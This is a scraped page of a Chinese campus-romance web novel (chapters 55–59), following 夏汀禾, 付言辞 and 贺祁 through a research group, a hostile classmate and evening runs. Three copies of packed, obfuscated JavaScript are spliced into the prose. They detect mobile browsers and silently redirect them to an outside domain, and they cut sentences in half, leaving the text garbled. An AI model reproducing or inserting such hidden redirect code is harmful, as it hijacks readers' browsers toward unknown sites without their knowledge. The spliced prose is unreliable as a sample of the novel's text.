;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15907071|170573||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 后也只找我】 夏汀禾又一次感觉到心跳漏了一拍。 她最后是红着脸睡着的。 因为和贺祁聊了下，心情很快就调整好了。 但夏汀禾没想到的是，几天后，她和男生又再次碰上了。 他们同时被教授选进了课题组。 教授组织见面的第一天，两人一前一后进的办公室。按照座位顺序，他们两个本科生是挨着坐在末尾的。 但男生依旧是淡淡地扫过了她一眼，紧接着就把椅子往边上挪了些，和她隔开了距离。 要是没有前几天晚上发生的事情，夏汀禾能说服自己他是因为性别有差所以才这么做。 不过现在，她已经能够确定对方就是对她有意见。 而且是没有由来的。 这时夏汀禾倏地想起贺祁对待不想接近的人的态度：随便对方怎么做，他都懒得搭理。 这种处理方式似乎会让自己挺舒服的。 于是尽管男生时不时又会弄出点明显厌恶的举动，夏汀禾始终连半点眼神都没分给对方。 除了男生，夏汀禾在课题组还有认识的人——之前在实验室帮过她的那位师兄。 对方已经是研三的学生，对于他们这些新进来的新鲜面孔，格外感兴趣，尤其是看到夏汀禾后，他迫不及待地就伸了手打招呼。 他挪着椅子坐在了夏汀禾旁边。 教授在上面讲，他就小声地在底下和夏汀禾聊天：“好了，今天开始叫你小师妹了。能被我们老大挑中的，实力我懂的，自然是不用说。” 第一次见面开小差总不太好，夏汀禾怕被教授发现，不敢回师兄的话，只能腼腆地笑了下。 但没想到他是个话痨，根本憋不住，说完这句，又开始拉着夏汀禾闲聊。 等教授往这边看了好几眼时，夏汀禾终于忍不住提醒了他一句，只是为时已晚，教授直接叫了他的大名。 夏汀禾看着他瞬间直起了背。 教授面带着和蔼的笑容问：“讲什么呢？这么有趣？今天要是不忙，把论文初稿发给我看看。” 师兄尴尬地笑了下，立即不吭声了。 隔了会儿，整个组的人的都笑了起来。 剩下的半程会议夏汀禾在极为安静的氛围中度过。结束时已经是中午，一群饿着肚子的人迅速跑向了食堂。 夏汀禾想感谢师兄上次帮忙的事，这时候提出请求问他要不要一起吃。 师兄不好意思地拒绝了：“抱歉啊，今天可能不太行，我和别人有约了。” 夏汀禾点了点头：“那就下次好了。” 正说着呢，没走的人听到了，好奇问了他一句：“你还有约了？不是单身狗吗？” 师兄笑着回了一句“滚蛋”，又说：“我是和言辞去吃饭。” “他提前结课回来了，我去给他接接风。” 56. 错觉 夏汀禾是和室友一起去的食堂。 路不算宽，她和应忱走在前面，宁苒和黎穗则在后头热热闹闹地聊着天。 交换生回来的消息上了学校新闻榜，宁苒和黎穗两个常年混迹各种消息渠道的，自然也没错过这事。 “怎么提前回来了？不是说好要到期末的么？” “一般情况下是这样，但是把学分修满就行了。所以想早点回来那就得努力。” “难怪我早上去教室的时候怎么感觉看见付言辞了，我还以为是眼花了呢。” 提到某人的名字，宁苒和黎穗下意识地看了眼前方的夏汀禾，又自动闭上了嘴。 应忱没注意她们俩的话题，这时候凑过来问夏汀禾打算吃什么。 为了不让室友多想，夏汀禾保持着平常的状态回了一句，视线却飘忽不定地看向了侧边人来人往的地方。 意识到自己在做什么之后，夏汀禾立即又克制住了。 他已经有喜欢的人了。 而且也拒绝了自己的表白。 那他们俩现在就是普通的同学关系。 夏汀禾在心底这么告诫自己。 她回想了下当初那些被拒绝的场面——付言辞冷漠的眼神、他的话、他的动作，心里这才慢慢冷静下来。 她一点也不想回到那样的状态。 只是夏汀禾也没办法否认，有关付言辞的仍旧会牵动着她。 通往食堂的路有一段是台阶，逆着人流上去的，夏汀禾不得不看着脚下的路。 这时身后忽地传来躁动声，窃窃私语不停地传入耳中。 “我靠我靠，那个就是付言辞学长吗？真的好帅啊。” “你别老往人家身上看啊，太明显了。” “偷看他的多了去了，也不差我这一个。” …… 几乎是无意识的，夏汀禾听到他的名字之后就立即回过了头。 一眼在人群中看到了他。 付言辞这时正巧不小心被人撞了，女生红着脸连连道歉：“不好意思啊学长，我刚刚看你……不是不是，我刚刚忘记看路了。” “没事。” 嘴上随意地回应着，付言辞的注意力已经不在面前，在发现夏汀禾转过身后，他就紧跟着看了过去。 台阶上的人依旧在流动着，不停地有人往上走，也不停地有人迈着步子下来。 夏汀禾站在台阶中间过渡的平台上，隔着几层阶梯，愣愣地望着他。 这一次，她恍惚间觉得，付言辞是看向自己的。 不过很快，她又否认了——可能也是错觉吧。 毕竟她之前也这么误认为。 这里容易造成拥堵，看到有人上来后，夏汀禾很快低下了头，又跟着室友往前走了。 等人离开了，站在一边看完全程的师兄谢临忍不住叹了口气摇头。 他说呢，怎么一定要绕远路来这边。 本是打算直接在校外选个餐厅给付言辞接风的，但付言辞却说要先回学校一趟。 看到夏汀禾后，谢临这才明白过来。 付言辞这时候收回了视线，对他说：“可以走了，师兄。” 谢临跟着他出了校门。 去了餐厅，好奇了一路的谢临终于憋不住了，开口问：“言辞，我就随便问问哈，你是不是对汀禾有意思啊？” 上次请师兄帮忙的时候，付言辞就已经猜到他会怀疑这点，只不过他没想到谢临会直接问出来。 谢临和他是处于一个算不上十分熟的阶段，说完之后觉得有些越界了，又道：“你要是不想说那也没关系，我也就是好奇一下。” “是。”付言辞回了他。 他回答得太过肯定，让谢临都有些惊讶。 谢临不可置信：“那你为什么不直接追啊？以你的条件，应该没有女孩子会不答应吧。” “难道师妹已经有男朋友了？”谢临想了下，“应该没有吧。” “她没有。”付言辞回了他。 谢临并不知道他家里的情况，会这么想也正常。付言辞没直接说原因，只道：“只是还有一些其他的需要考虑。” 他的性格谢临也知道——超乎同龄人的稳重和成熟，没到想好万全之策的情况下绝对不会轻易出动。 因此见他这么说，谢临也没再问了。 只是觉着，刚刚他们对视的那一眼，两人的情绪都有些微妙。 就像是相互喜欢着的，但却又差那么一点。 一顿饭结束后，付言辞先去结了帐。 谢临拦住了他：“本来就是说好给你接风的，怎么还能让你付钱？” 付言辞解释说：“上次请师兄帮了忙，还没来得及感谢。” 听他这么一说，谢临又不由得笑了起来：“行，那就让你付吧。今天还有一个人也对我说了这句，知道是谁么？” 付言辞扫码付了款，随口接了话：“不知道。” 谢临告诉他：“夏汀禾师妹。” “她还以为实验室那事是我帮她的呢。” 不想抢别人的功劳，谢临提了个建议：“要不我直接告诉她好了？” 付言辞愣了愣，隔了会儿，说： “不用了。” 他暂时还不想让夏汀禾知道自己的心思。 - 第二天上晚课，谁也没想到付言辞也会来。 夏汀禾和几个室友踩点到了教室，匆匆忙忙在第一排坐下后，才发现身后就是付言辞。 黎穗往后瞥了好几眼确认自己没有看错。 几秒后，宿舍群里立即热闹起来。 黎穗：【不是吧？就算是学神也不用这么卷吧？他不是昨天才刚回来吗？】 应忱：【可能是喜欢上课的氛围？】 宁苒：【不懂……要是能不上课，打死我也不去】 黎穗：【我懂你苒苒】 应忱：【……】 应忱：【也不用说这么严重……】 她们讨论得热火朝天，等到老师进来了才恋恋不舍地收起了手机。 八卦而已，听着课，没多久就忘记了身后的人。 只有夏汀禾，每次听到背后的翻书和写字声，都会不由自主地走神一会儿。 因为她知道付言辞的习惯。 他喜欢边看边做笔记。他的书上经常有很多圈圈画画的痕迹，里面偶尔夹了几张白纸，都是用来打草稿计算的。 夏汀禾庆幸这节课要学的内容多，复杂的题目和新理论可以稍微让她不用总是去想其他的事。 但总归还是有些难熬。 两节课结束后，夏汀禾没有犹豫，很快就收拾书包回了宿舍。室友问她原因，她只说想赶回去夜跑打卡。 事实并非如此 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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冷白的一片，隐约可见紧实的肌肉线条。 等意识到自己在做什么之后，夏汀禾立即看向了别处。 “可以了。”过了会儿，贺祁起了身。 “……哦。”夏汀禾支支吾吾地回应了一声，格外心虚。 听到她的这么一句，贺祁倏地弯下腰，凑到了她面前。 两个人的鼻尖都差点碰到了一起。 贺祁笑着问她：“没偷看我吧？” 和他对视着有些承受不住，夏汀禾飞速地就躲开了，从侧边出来站直了身。 “没有。”她底气不足却又装作十分肯定地回答。 贺祁也没在意，心情颇好地跟着她又往操场上走去。 夏汀禾的确没有跑步的心思，但散步还是乐意的。 于是贺祁就陪着她散了半小时步，等快到十点了，才送她回去。 已经有点晚了，路上没什么人，他们两个的影子就落在柏油路上，随着两人的步子在路灯下不断被拉长又缩短。 贺祁总是隔了没多久就会开始逗她，弄得夏汀禾时不时就忍不住捶他几下。 两个人的笑声穿梭街道上，欢快且肆意。 直到夏汀禾忽地看见不远处的付言辞。 她倏地没了声音。 付言辞像是刚从图书馆回来，手上还拿着书。他一身简单的黑色套装，整个人显得清冷又挺拔。 这是夏汀禾第一次这么肯定付言辞看到了自己。 因为他的目光就落在了自己抓着贺祁衣角的手上。 一紧张，夏汀禾立即松开了手。 57. 晚安 她这一松手，贺祁紧随着就看了过来。 夏汀禾的慌乱和无措悉数落在他眼中，贺祁这才不紧不慢地望向了对面的人。 他依旧是随性懒散的模样，微垂着眼眸，略微向下俯视的姿态，眼神里少见的带上了些攻击性。 付言辞一动没动，只是这样淡淡地接受了他的打量，保持着一贯的沉稳姿态。 他记得在天文馆里见过贺祁一次，不过当时也没把他放在心上，以为他和夏汀禾也只是单纯的朋友。 因为他那时是十分确定夏汀禾是只喜欢自己的。 三个人都不约而同停在了原地。 夏汀禾已经不知道该怎么来应对这样的场面，似乎倾向于哪边都会让她觉得为难。 好一会儿后，她才终于想出一句平常打招呼的话：“……你刚从图书馆回来吗？” 说完，她又下意识地看了看贺祁。 “嗯。”付言辞回了她，又反问她：“去跑步了？” 语气很是温和。 同学之间普通的交流而已，夏汀禾点了点头。 付言辞去宿舍的方向和他们相反，他慢慢朝着夏汀禾走过来，靠近了才说：“下次有空可以一起。” 说完，付言辞就离开了，留下夏汀禾在原地怔愣。 这本是一句再平常不过的客套话，但她没办法不多想。 她也曾经幻想过和付言辞一起做很多事情。 现在梦靠近了，反而显得不真切起来。 夏汀禾努力让自己认清现实，又一遍提醒自己付言辞已经有喜欢的人了，她不该再胡思乱想。 走到了宿舍楼下，贺祁忽地开口：“他是付言辞？” 夏汀禾回过神来，紧张地看了他一眼。 贺祁怎么会记得他？ 夏汀禾心虚地应了一声：“嗯。” 她又立即补充说：“他……他是我的同班同学。” “仅此而已么？”贺祁笑了下，夏汀禾立即感觉出来他不是在打趣，他眼里并没有笑意，反而是更深层次的探寻和质问。 这一句话让夏汀禾莫名地背后一凉。 但贺祁似乎并不想让她发现这点，很快就别过了脸，恢复了往常的状态，漫不经心道：“挺晚了，上去休息吧。” 不知道该怎么解释了，夏汀禾说不出别的话来，只能乖乖“哦”了一声，准备往楼上去。 贺祁又忽地拉住了她的手。 “睡前给我发个消息。” “发什么？”夏汀禾有些懵，“要和你说晚安么？” 她觉得贺祁好像有点不高兴了，要是发句晚安能让他心情好点的话那自然可以。 贺祁没有要求，笑了下，只道：“什么都行。” 只是想让你睡前记住的人是我。 - 付言辞回宿舍时，屋子里只有陈航一个人在。 他正坐在桌前和谁连麦聊着天，语气亢奋欣喜，直到听见身后的动静，他往后瞥了眼，看到是付言辞后立即收敛了脸上的笑，很快又插上了耳机。 宿舍里顿时安静下来。 付言辞本来也没打算和他怎么样，陈航自愿和他划清界限，他也不会上赶着去讨好。 在自己的位置上坐下后，付言辞想起刚才的场面，深吸了一口气，习惯性捏了下鼻梁。 想了会儿，他直接发了消息给林越。 付言辞：【除了室友，夏汀禾有和谁接触的比较多么？】 林越摸不着头脑：【没有吧，不过我们教学楼也不在一块儿，我也就见过她几次】 林越：【为什么这么问？发现情敌了？】 付言辞皱着眉回复：【算不上，随便问问而已】 这时付母正好打了电话过来，付言辞只好起身去了阳台上接。 和往常一样，付母也只问了些日常的话题，付言辞一一认真地回答了。 等到要挂电话时，付母才倏地提起：“和那个女孩子见面了么？” 被家人提及这件事，付言辞多少会有些犹豫，许久才“嗯”了一声。 从小在身边带到大的，付母哪能不明白付言辞心里的顾虑，只是她更希望儿子能够不受这些禁锢，可以去毫无顾及地放手一回。 “要是真喜欢，那去告诉人家也好，是不是？妈妈知道你的担心，但感情是不会等人的，错过了就是真错过了。我不希望你后悔。” 付言辞没说话了。 付母也没再追着讲道理，提醒了他一句别熬夜便结束了通话。 他打电话的这段时间，林越又发了几条消息过来。 林越：【等等，你不说我都没想起来，我记得上次去图书馆的时候好像看到夏汀禾和一个男生坐一块儿了】 林越：【一个颜值很顶的帅哥，长得也挺高的，一米八七的样子，比我还高点。不知道你说的是不是他】 林越：【好了，我又去问了下朋友，人家不是我们学校的，A大的。我说呢，要是这颜值，肯定早就和你一样放在校园墙上被捞了千八百遍了，我不可能没印象】 付言辞迅速略过了一些不感兴趣的，只问：【他叫什么？】 林越：【贺祁】 付言辞：【嗯，知道了】 都是男生，他一眼便能确定贺祁是喜欢夏汀禾的，并且有强烈的占有欲。 - 睡前夏汀禾琢磨着给贺祁发什么过去。 宿舍里已经熄了灯，她刚在下面多看了会儿文献，成了最晚上床的人，这时不得不努力减轻自己的动静。 她小心敲了一行字：【室友都睡着了，我只能和你聊一小会儿】 贺祁看到这个词，忍不住笑了下。 他很快回复：【一小会儿是多久？】 夏汀禾琢磨了下：【十分钟】 贺祁：【行，这周是最后一节游泳课？】 游泳课夏汀禾一共也就报了七节，一大半个学期下来，也已经学得差不多了。 她回了贺祁一个“是”，贺祁又接着道：【夜跑呢？还剩多少次？】 夏汀禾想到这个就有些头疼：【还有十五次】 贺祁：【嗯，以后晚上我过去找你】 夏汀禾怀疑自己是不是看错了，从床上坐起来之后又认真看了一遍。 夏汀禾：【你要过来陪我跑嘛？】 贺祁回答得坦荡：【昂】 夏汀禾觉得有些奇怪，她平日里除了和室友一起，就是自己跑，也没有再多的其他人了。 不过和室友经常有时间不凑巧的时候，所以大部分情况下还是她一个人去的操场。 贺祁要来的话，她没什么意见，只是比较担心他。 夏汀禾：【那你坐地铁不会很麻烦吗？】 而且可能还会赶不上。 贺祁回她说：【不会，最近在家里住，开车过去不用很久】 夏汀禾这才答应下来。 - 隔了几天，明教授再次组织开会，验收上次给他们布置的作业成果。为了节省时间，这一次只有他们几个本科生参加。 付言辞也来了。 夏汀禾在走廊上就碰见了他。 付言辞和 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15919283|170573||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 对夏汀禾态度不好的那男生走在一起，不知道在讨论什么，但总归夏汀禾是不想凑上去。 一共四个本科生，两男两女，进了办公室后，面对面坐下，轮流进行汇报。 明教授喜欢听他们自由发表意见，因此每人汇报完后，其他人还得说一下自己的看法，他再来进行点评。 按照座位顺序来，夏汀禾是最后一个说的。 等她汇报完，其他人开始说看法。都是同学，顾及面子和感情，都会多少问一些无关紧要的问题或者直接就是夸赞。 唯独到那男生时，他啧了声，说：“嗯……真的认真看了吗？感觉和付言辞他们的结论差不多。” 四个人看的都是相同的文献，总结出来的观点难免有重合之处，夏汀禾又是最后，能够说的自然就更少了。 但谁也没想到他会这样去讲。 其余人一时间都向夏汀禾看了过去。 她不由得有些尴尬和难受。 好在明教授也了解，打了圆场说：“我看了汀禾的笔记，都是认真思考写的。除了言辞，你们应该都是第一次接触这个方向的文献，不要着急，慢慢来。” 一个小插曲而已，几句也就略过去了，没谁放在心上。 会议结束后，夏汀禾依旧感觉有些喘不过气来。 推开门出去时，正好接到贺祁打过来的电话，她很快走到教学楼外去接，付言辞都没来得及叫住她。 付言辞只好拦住了男生，道：“都是同学，有时候没必要把话说太重。” 男生看了眼他，摇了摇头：“言辞，你该不会也被她骗了吧？” 付言辞不理解：“骗什么？” 男生道：“你可能对她了解得也不多，你只是她搞暧昧的众多男生中的一个而已，别太好心了，这种人人品真的不行。” 第二次听到这样的言论，付言辞这一次追问了：“你听谁说的？” 男生没回他：“这个也不重要吧。” 接到贺祁的电话后，夏汀禾就低低地应了一声。那边一听出她的语气不对，立刻问了怎么回事。 夏汀禾没忍住，红着眼眶把事情全部告诉了他。 “夏汀禾。”贺祁叫了一声她，把她拉了回来。 “听我说，不是你的错。” “……不是我做错了什么吗？”夏汀禾低声说着。她习惯性地开始怀疑自己了，是不是她做了什么对方才会这样针对她。 “不是。”贺祁肯定地回应了她。 贺祁少见地有些情绪表现出来，语气冷了下来，直截了当地和她说：“找到他问清楚，要是说不清就让他滚。” 正好说完这句，夏汀禾看到男生从门口一起走了出来。 想了下，她一鼓作气直接起了身，朝他面前走去，只是在对上男生轻蔑的眼神后，还是会有些心颤。 男生瞥向她：“什么事？” 夏汀禾努力让自己强硬地说出口：“我不知道你是不是对我有意见，但不过我们应该没有很熟吧，我也应该从来没有得罪过你。” 男生又看了眼她，回答说：“我不想和人品不行的人在一个组。” 他以为夏汀禾听到之后，会直接哭出来，一时间还觉得有些麻烦。 但没想到，夏汀禾直视着他道：“如果你是通过别人来了解我的，那你也不过是一个没有自主判断力的人，你的人品更加显而易见。” 耳边是贺祁和她说的话，夏汀禾肯定了自己好几遍，才握紧了拳说出口： “至于一个组这件事，你要是不想和我一起，你可以选择退出。” 58. 外套 晚上跑步时，夏汀禾就把白天的情况告诉了贺祁。 两个人和上次一样坐在看台的彩色座位上，贺祁只手托着下巴看向她听着。 夏汀禾越说越生气，最后抿了下唇，气鼓鼓道：“早知道我之前就这么和他说了。” 这样对方也就不敢再一而再再而三地那么对她了。 说完，夏汀禾感觉自己刚刚好像有些过头了，忘记了收敛情绪，她又忐忑地去看贺祁。 发现对方一直眼里带着笑地望着她后，眼睫颤了颤，夏汀禾低下头，声音顿时又软了下来：“……你怎么又看着我？” 好几次了。 她脸上又没有什么特别的东西…… 贺祁打趣着回她说：“觉得你可爱，不行么？” 他说这些话都是信手拈来的，坦荡又直白，偏偏又是顶着一张帅脸。夏汀禾怕等下他又说些什么让人脸红的，她起身就往外走。 “我要去跑步了。” 贺祁于是也不紧不慢地跟在她身后从看台上下来。 他的确是觉得夏汀禾撒气的模样是可爱的，平常那样温顺的模样他见得多了，也知道是夏汀禾习惯性去表现出来给人看的一面。 可能是因为从小大的成长环境，塑造了她乖巧温顺的性格，但贺祁在相处过程中慢慢发现，夏汀禾骨子里是有主见的、倔强的、勇敢的，只是平日里会刻意地压制自己，不表现出来。 贺祁在这一点上觉得自己不是什么好人，因为他就喜欢逗夏汀禾，让她把内心的那些想法释放出来。 有时候贺祁会想，是不是因为他已经习惯了控制自己偏执消极的一面，所以才会想让夏汀禾不这么做。 但现在，贺祁渐渐明白并不是。 他只是单纯地希望夏汀禾能够保护她自己，不受到来自任何人言语、精神上的伤害。 夏汀禾沿着跑道慢跑，贺祁就在内圈来回横穿跟着她。 太久没运动，两圈下来，夏汀禾就开始有些累了，她放缓了步子。等贺祁过来了，告诉他说：“我想休息了。” 贺祁这次没顺着她，只哄人似的说：“还有两圈，马上就跑完了。” 夏汀禾没回应，小声转移话题道：“你不是也不喜欢运动吗？那你的校园跑都跑完了吗？” 听到她这句话，贺祁不由得笑出了声，没打算骗她，直接告诉了她自己早就跑完了。 夏汀禾抿了下唇：“我就知道你之前是骗我的。” 她一顺口就说了出来：“你都有腹肌，不可能不经常运动。” 这句话一出口，夏汀禾立即收了声，只是为时已晚，贺祁听得十分真切。 他一贯懒散的笑容里带上了点玩味的意思。 “嗯？你怎么知道我有？”他居高临下地看着她，漆黑深邃的眼眸似乎要把她看透。 都是前几天贺祁蹲着帮她弄裙摆的时候看到的，夏汀禾自然不愿意告诉他。 “还有两圈……我要继续跑了，你别和我说话。” 她往前迈开步子迅速跑开了，贺祁站在原地，有一瞬间的发愣，接着便笑了起来，也没追上去了。 好不容易把四圈跑完了，为了缓冲一下，夏汀禾又在跑道上散步走了一会儿。 幸好是秋天，她只穿了件单薄的长袖，跑了几圈身上开始发热，暖和了些。 贺祁这时候向她走过来，手上拿了她放在看台上的外套。 走过来时，忽地瞥到了不远处的人，他的眼神又变化了下。 照常理说，他应该是直接递给夏汀禾的，但这次等走到她面前时，他却主动拿着衣服套在了她身上。 他站在她面前，把她的视线挡得一干二净。 “抬一下手。”声音在头顶响起。 “哦。”夏汀禾下意识地照做了。 贺祁顺手帮她拉好了拉链。 夏汀禾看着他的动作，一时间还有些迷糊。直到拉链声停止，她抬头看去，才发现自己和贺祁靠得很近。 她几乎可以碰到他的喉结和嘴唇。 不过还没多瞥几眼，贺祁勾了下嘴角，问她：“又往哪看？” 夏汀禾扯着卫衣的拉链离远了距离：“我……我看你没把拉链弄好。” 她又装模做样地低着头重新弄了一下衣服。 贺祁这次没凑过去动手了，也没再搭理操场入口处投来的目光。 付言辞是在夏汀禾跑完时过来的。 他本想过去找她，但紧接着就在离夏汀禾几米的范围内看到了贺祁。 那些亲密的举动自然也落在了他眼里。 “你那天问我的就是那个帅哥对吧？”林越微眯着眼又看了一遍，“哦，确实，上次我看到的也是他和夏汀禾一起去的图书馆。” “看样子，他好像对夏汀禾有意思。” 林越看了看付言辞的脸色，顾着好朋友的感受，没把后半句说出来了——夏汀禾看上去也似乎已经习惯了和贺祁的接触。 他叹了口气，忍不住劝说：“我觉着吧，要不你还是早点把实情告诉人家好了。” 付言辞这一次没拒绝。 - 夏汀禾回到宿舍后，在追剧的宁苒往她那看了看，瞥了眼后又目不转睛地盯着ipad，问：“汀妹，你跑步去啦？” “嗯，刚刚跑完。” 宁苒已经不再惊讶，甚至能毫无波澜地问出口：“和贺祁一起？” 夏汀禾却还是有些腼腆：“……他就是在旁边看着，没有和我一起跑。” 宁苒这时拉了椅子过来，坐在了她旁边，十分认真地说：“听我的，男的这样子就是想追你了。” 正在晾衣服的黎穗也进来了：“百分之百的，想都不用想。” 宁苒又说：“不过还是上次那句话，在他没确切地表白之前，你也不用费太多心思。” 代码写累了，应忱休息的空隙插了一句：“但我其实有点好奇，贺祁是什么时候开始喜欢上汀妹的？来学校之前，除了一起在天文馆做志愿者，他们好像总共也没见过几次面？我们去汀妹家里的时候，他们俩不是都还不认识吗？” 夏汀禾坐在位置上，倏地就挺直了背。 应忱的一句话算是点醒了几个人。 宁苒思索了下，想来想去都不 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夏汀禾不知所措地点了点头，小声回应着说：“嗯，我知道的，我不会的。” 看她乖乖答应了，几个人才散开。 这时贺祁发消息过来，心里一激灵，夏汀禾都不知道该怎么面对了。 她小心翼翼地点开来看，生怕贺祁会心有灵犀地察觉到什么。 不过贺祁问她的是：【你以前没和组里那男的交流过？】 他指的是谁夏汀禾也清楚，只是有点奇怪他在这时候提及。 夏汀禾：【嗯，怎么了吗？】 贺祁：【记不记得上次校园墙那件事？】 夏汀禾更加意外了：【记得，不过你怎么知道的？】 贺祁又逗了她一下：【不告诉你】 他接着又正色道：【所以有没有想过可能是同一个人做的？】 看到这里，夏汀禾愣了下。 她和男生几乎没有接触过，但是对方却直白地说不喜欢她是因为人品问题。他是从哪里了解的自己？凭什么这么说？ 夏汀禾很少参与学校里社交活动，交友的圈子也就这么大，她不可能让一群人都对她印象不好——除非是有人在故意挑事。 夏汀禾不知道是谁，但贺祁说的确实有道理，最有可能的便是发帖的那个人。 只是他为什么要针对自己？ 怕她多想，贺祁又发了句话给她：【好了，挺晚了的，早点睡觉，别在不必要的人身上浪费太多时间】 就知道催她睡觉。 夏汀禾问他：【那你也准备睡觉了吗？】 贺祁：【我刚到家】 夏汀禾这才想起，他是开车来自己学校的，回去也得十几分钟呢。 心里有些愧疚起来，夏汀禾回他说：【……那你也早点休息。我明天不跑步，你后天再过来吧，休息一天】 贺祁给她发了条语音，语气温柔中带着笑：“怕我累么？” “行，知道了。” 他自问自答。 夏汀禾不理他了。 59. 眼熟 知道祝朝月换到Q大附近的奶茶门店兼职后，夏汀禾特意挑了个空闲的时间去找她。 奶茶店就在校外最热闹的一条商业街上，门前熙熙攘攘是常态。 夏汀禾还想着从哪边进去人会少些，却忽地在离店门口还有几十米的地方看到了梁浩。 他在街道上来回走动，像是漫无目的地随便逛逛，但时不时又会往奶茶店里看两眼。 夏汀禾自然清楚他是在做什么。 在梁浩又一次回过头来时，夏汀禾就这么直直地看着他。 两个人的视线碰上，梁浩尴尬地笑了下，走过来装作若无其事地打了招呼：“你一个人来这边逛街吗？” 夏汀禾摇了摇头：“不是，朝月让我来找她的。” 梁浩：“……” 要不是夏汀禾长着一张单纯乖巧的脸，梁浩十分怀疑这话是不是在内涵他。 夏汀禾反问他：“你呢？也是来这边玩的吗？” 梁浩扯出理由来，磕磕绊绊地说：“啊……对，我听说这条街上好吃的挺多的，就过来看看。刚吃完，现在准备走了。” 夏汀禾脸上露出好奇的神色：“那你是在哪家店吃的？可以给我推荐一下嘛？我待会儿也打算和朝月一起去吃午饭的。” 梁浩：“…………” 她的声音依旧不平不缓，听着只是普通的问话而已，但梁浩总觉得哪不对劲。 抬起眼往商业街里随便扫了眼，找到一家以前吃过的连锁店，梁浩迅速指给了她看：“就、就那家，他们家的招牌菜都挺好吃的。” 夏汀禾认真看了看，点头说好，便没再继续问下去。 她道了别往奶茶店走，这次梁浩叫住了她：“夏汀禾。” 似乎是鼓起勇气了才这么做。 夏汀禾回过头来，看到梁浩深吸了一口气。他往常阳光开朗的性格不知道什么时候变得有些沉闷。 纠结着，梁浩最后还是开了口：“朝月有没有和你说过我们的事？” 说完，他又紧急找补：“我不是想让你告诉我什么秘密，只是想知道，她现在对我……还喜欢吗？” 没想到他问的是这件事。 关于祝朝月的心思，夏汀禾没办法告诉他，只能说：“如果你喜欢朝月的话，那你可以一直默默地陪在她身边，不去打扰她，也给她一点时间。不过结果会怎么样我也不知道，但这应该是你目前唯一能做的。” 祝朝月很独立，并不需要来自任何人的帮助。夏汀禾也没想打破她的坚持，所以只能这么和梁浩说。 大抵明白了她的意思，梁浩点头道了谢。 在夏汀禾以为他会心灰意冷时，梁浩笑了笑，对她说：“我知道她和我分手肯定是有原因的，但既然她不想让我靠近，那我也不会走近。” “我会在原地等她，直到她需要我的那天。” 夏汀禾愣了下。 - 夏汀禾走进奶茶店时，祝朝月正好在做外卖单上的最后一杯。 瞥见她过来了，祝朝月用口型和她说了“稍等一下”，夏汀禾于是随便在店内找了个位置坐下。 正是午休时间，店内也没几个人。清甜的香味环绕着，夏汀禾就这么静静看了一会儿。 梁浩的话也让她有些感触。 夏汀禾不知道话里有几分真，但总归觉得是有些不可思议的。 原来真的会有人愿意一直默默地陪伴自己喜欢的人么？ 即便被拒绝了也不会后悔？ 正想着，门忽地被推开，有人走了进来，还是夏汀禾认识的——林越。 他抱着一堆文件夹和书，看起来像是刚从学校过来。 两个人离得不到一米远，林越自然也看到了夏汀禾。 他礼貌地点头微笑和她示意了下，然而还没转身，迎面进来一个风风火火的外卖小哥。 对方着急去拿奶茶没注意他，碰他手肘了，把他手上的东西撞得落了一地。 “啊，抱歉抱歉，你没事吧？” 小哥弯腰要去帮他捡东西，林越怕他赶时间，摆了摆手：“没事没事，我自己来就行。” 于是外卖小哥又道了歉，取了奶茶便着急忙慌地出去了。 夏汀禾起身走过去帮忙。 林越没拒绝：“谢谢了。” 两个人把地面上散落的东西捡起，直到夏汀禾看到一个眼熟的黑色文件夹。 她拿起来，忽地摸到角落里有凸起的痕迹，正打算看看是不是弄破了，林越却猛地伸手从她手里抽走，表情像是被吓了一跳。 意识到自己的动作反常，林越立刻浮现出笑容，温声道：“真是麻烦你了。” 兴许是别人重要的东西，不想让人碰。 夏汀禾没多想，有些不自在地收回了手：“不客气。” 告了别，林越匆忙提了奶茶外卖出去。出去后，夏汀禾看到他又立即给谁打了电话过去，并且直接把文件夹放在了最底下。 几分钟后，祝朝月结束了工作，换了工作服从前台出来。两个人挽着手去吃午餐。 祝朝月问她想去吃什么，夏汀禾顺手就指了刚才梁浩说的那家店。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15929969|170573||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 进了店里，看了下菜单，祝朝月十分自然地开口说：“这些倒是挺符合梁浩的口味的。” 夏汀禾没接话，有些意外祝朝月可以这么平静地说出来。 “怎么了？”祝朝月对她笑了下，“还不能提前男友的名字了？” “不是。”夏汀禾不确定她是不是放下了这段感情，才会这样毫无顾及的提起。 祝朝月眨了眨眼，又说：“如果刚刚没看错的话，你在奶茶店外面碰到他了吧。” 